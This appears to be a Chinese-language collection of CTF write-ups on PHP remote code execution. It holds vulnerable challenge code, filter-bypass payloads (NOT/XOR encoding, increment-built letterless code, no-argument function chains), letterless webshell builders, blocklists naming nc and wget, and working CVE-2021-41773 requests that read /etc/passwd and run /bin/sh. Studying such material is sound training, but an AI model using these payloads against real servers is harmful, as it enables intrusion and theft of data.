Web------RCE知识点及wp
NSS
[SWPUCTF 2021 新生赛]easyrce
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
这里是简单的system
?url=system(“ls /”);?url=system(“cat /”);
可以直接cat /f*,代表任意元素
常见方法
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
p***tl_exec()
[SWPUCTF 2021 新生赛]babyrce
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
#这里绕过" "空格%20,用%09代替
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
url=ls%09/
[SWPUCTF 2021 新生赛]hardrce
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
取反绕过:
ls:
<?php
$a="system";
$b="ls /";
echo urlencode(~$a);
echo "\n";
echo urlencode(~$b);
?>
?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%D5)
cat:
<?php
$a="system";
$b = "cat /f*";
echo urlencode(~a);
print("\n");
echo urlencode(~b);
?>
payload:
?will=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5)
[SWPUCTF 2021 新生赛]finalrce
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
先看看命令能不能被执行:
?url=woami;sleep 5
延时五秒,表示可以被执行
-
用到tee命令:
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
?url=%93%8C |tee 1.txt
-
异或
ls / 异或之后 "13@^"]@`" 因为过滤" 所以base64编码一下 ?url=IjEzQCJeIl1AYCI=|tee 1.txt
我们这里给它加一个符号:
?url=l’'s /|tee 1.txt
访问http://node4.anna.nssctf.***:28082/1.txt
看到
a_here_is_a_f1ag
bin
boot
dev
etc
flllllaaaaaaggggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
由于前面正则表达式禁用了la, 接下来: cat可以用tac和nl代替
?url=tac /flllll\aaaaaaggggggg|tee 2.txt
得到flag
[UUCTF 2022 新生赛]ez_rce
居然都不输入参数,可恶!!!!!!!!!
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
-
取反
-
内联执行:
/?code=print_r(
l\s /
);?code=print_r(
c\at /fffffffffflagafag
); -
var_dump方法:
?code=var_dump(
l\s /
);?code=var_dump(
nl /f????????????????
);
这里的print_r和var_dump均为打印方法
[MoeCTF 2021]babyRCE
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
?rce=l\s%09–> ?rce=l\s%09f\lag.php
?rce=ta\c%09f\lag.php
[NSSRound#4 SWPU]ez_rce
bp抓包
CVE-2021-41773,版本漏洞
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
任意文件读取POC:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: x.x.x.x:8080
RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.109.128:8080
.....
echo; ls (命令)
Post:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
echo; cat /flag_is_here/0/0/0/0/flag
得到:Fake Flag ********************************** ,shit了
这样看有10 * 10 * 10 * 10=10000种可能
于是有:echo; grep -r “NSS” /flag_is_here
grep -r:递归查找子目录中的文件。
got it!
[NSSRound#7 Team]ec_RCE
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
shell_exec
返回所有命令的输出, 所以在前面注入还是后面注入都行, 最简单的是在前面用两个;
隔断,后面什么都不传
action=;cat /flag;&pos
[HNCTF 2022 WEEK2]Canyource
不是很懂这些无参函数,太多了,慢慢学。
php内置无参函数
end() - 读取数组最后一个元素
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
current() - 读取数组的第一个元素
phpinfo() -显示php详细内容
两种方法:
- /?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));
- /?code=eval(end(current(get_defined_vars())));&shekk=system(%27cat%20f*%27);
f12看flag,bp的话就可以直接看到
(无回显)[SWPUCTF 2023 秋季新生赛]RCE-PLUS
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
利用>直接输出结果到文件,和|tee 2.txt效果一致
?cmd=ls /> 2.txt
?cmd=cat /f*> 3.txt
[HNCTF 2022 Week1]Challenge__rce
禁了大量特殊符号。无字母数字rce的异或与取反都被ban了,可以写一个根据waf的正则输出合法字符的脚本
<?php
//自增rce
$pass='';
for($i=32;$i<127;$i++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
$pass = $pass.chr($i);
}
}
echo "当前能过waf的字符:".$pass."\n";
#当前能过waf的字符: $()+,.0123456789;=[]_{}
来学学自增:
$_=[]._;
$__=$_[1];
$_=$_[0];
$_++;
$_1=++$_;
$_++;
$_++;
$_++;
$_++;
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接
$$_[1]($$_[2]);
nb的Ascii码CHr拼接
payload:
post:
rce=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%5F%3D%24%5F%5B1%5D%3B%24%5F%3D%24%5F%5B0%5D%3B%24%5F%2B%2B%3B%24%5F1%3D%2B%2B%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%3D%24%5F1%2E%2B%2B%24%5F%2E%24%5F%5F%3B%24%5F%3D%5F%2E%24%5F%2871%29%2E%24%5F%2869%29%2E%24%5F%2884%29%3B%24%24%5F%5B1%5D%28%24%24%5F%5B2%5D%29%3B
#$$_[1]($$_[2]);
get:
?hint&1=system&2=cat /f*;
ctfshow
RCE挑战1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
写一句话木马,利用``执行
- code=echo
cat /f*
; - code=echo
$_POST[1]
;&1=cat /f*
RCE挑战2
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
先确认哪些字符可以传:
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
//post可传入的字符如下:
// ! $ ' ( ) + , . / ; = [ ] _
基本把能用的都过滤了,只剩下$()_+;[],.=/字符,要自增构造字符
成我们想要的( G E T [ ] ) ( _GET[_])( GET[])(_GET[__]),传入_和__命令执行即可
下面post传get参:
ctf_show=%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27/%27%3D%3D%27%2B%27%5D%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24____%3B%28%24%24_%5B_%5D%29%28%24%24_%5B__%5D%29%3B
#=实现了ctf_show=($_GET[_])($_GET[__])
上面get传_和__:
?_=system&__=cat%20/f*
got it!
RCE挑战3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这次是不仅过滤了而且还有字数限制。先正则匹配一下得到
() + , . / 0 1 ; = [] _
这次放出来了0 1,'被禁了。还是用自增的方法但是和前面有点不太一样了。因为有了长度限制,所以要用更短的方式。直觉上可能会觉得GET比POST短会用更少字符,但是因为从N开始后OPST都有,POST更容易用更少的字数得到,所以使用POST。
好东西:
$=C/C;//NAN
$=1/C//INF
#开始构造POST:
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
用burp把a、o、p等换成不可见字符(如%ff %fe等),url编码中+会被替换成空格,所以要换成%2b
payload:
post:
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f*
好的,下面rce4,5就不适合凡人的大脑了,果断放弃。
无参函数
无参 RCE_无参rce-CSDN博客
一些不包含数字和字母的webshell | 离别歌
【CTF】异或运算符的利用_ctf 异或运算-CSDN博客
【CTF】通过符号构造字母数字_符号异或构造数字-CSDN博客
无参 RCE_无参rce-CSDN博客
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
正则的递归
正则表达式中有一种递归的用法,今天才知道。但是这种递归用法并不是所有语言都支持。它适用于PHP和java等语言。
以下列出几个简单的递归
(?R)? #用的最多
(?0)?
\g<0>?
加号 , +
星号 *
问号 ? 一般来说问号也是递归的一种
因为括号里不能有参数,而有些题中就就会用这种递归的正则来过滤恶意函数,所以我们就用无参的函数像上图中套娃一样注入命令。
-
getallheaders(),也就是apache_request_headers
这个函数的内容就是获取http所有的头部信息。接着我们可以用var_dump函数来把函数的执行结果都打印出来。这个函数有一个缺陷,它只能在apache中间件环境下使用。我们来在本地测试一下无参函数的具体效果。返回数组
<?php highlight_file(__FILE__); if(isset($_GET['shell'])){ if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['shell'])) { eval($_GET['shell']);} else die('hacker!!!!');} else echo('hahaha'); ?>
-
get_defined_vars()
该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。
-
var_dump(get_defined_vars());
Hex2Bin函数是一种将十六进制串转换成二进制串的转换函数
常见方法
-
异或
#构建assert($_POST[_]) $_=('%40%5B%5B%40%5B%5B'^'%21%28%28%25%29%2F'); //assert $__=('%40%40%40%40%40'^'%1F%10%0F%13%14'); //_POST $__=$$__; //$_POST $_($__[_]); //assert($_POST[_])
-
取反
<?php $a="assert"; $b=~$a; echo urlencode($b);//URL编码后在输出 echo "<br>"; $c='_POST'; $d=~$c; echo urlencode($d);//URL编码后在输出 ?>
-
自增自减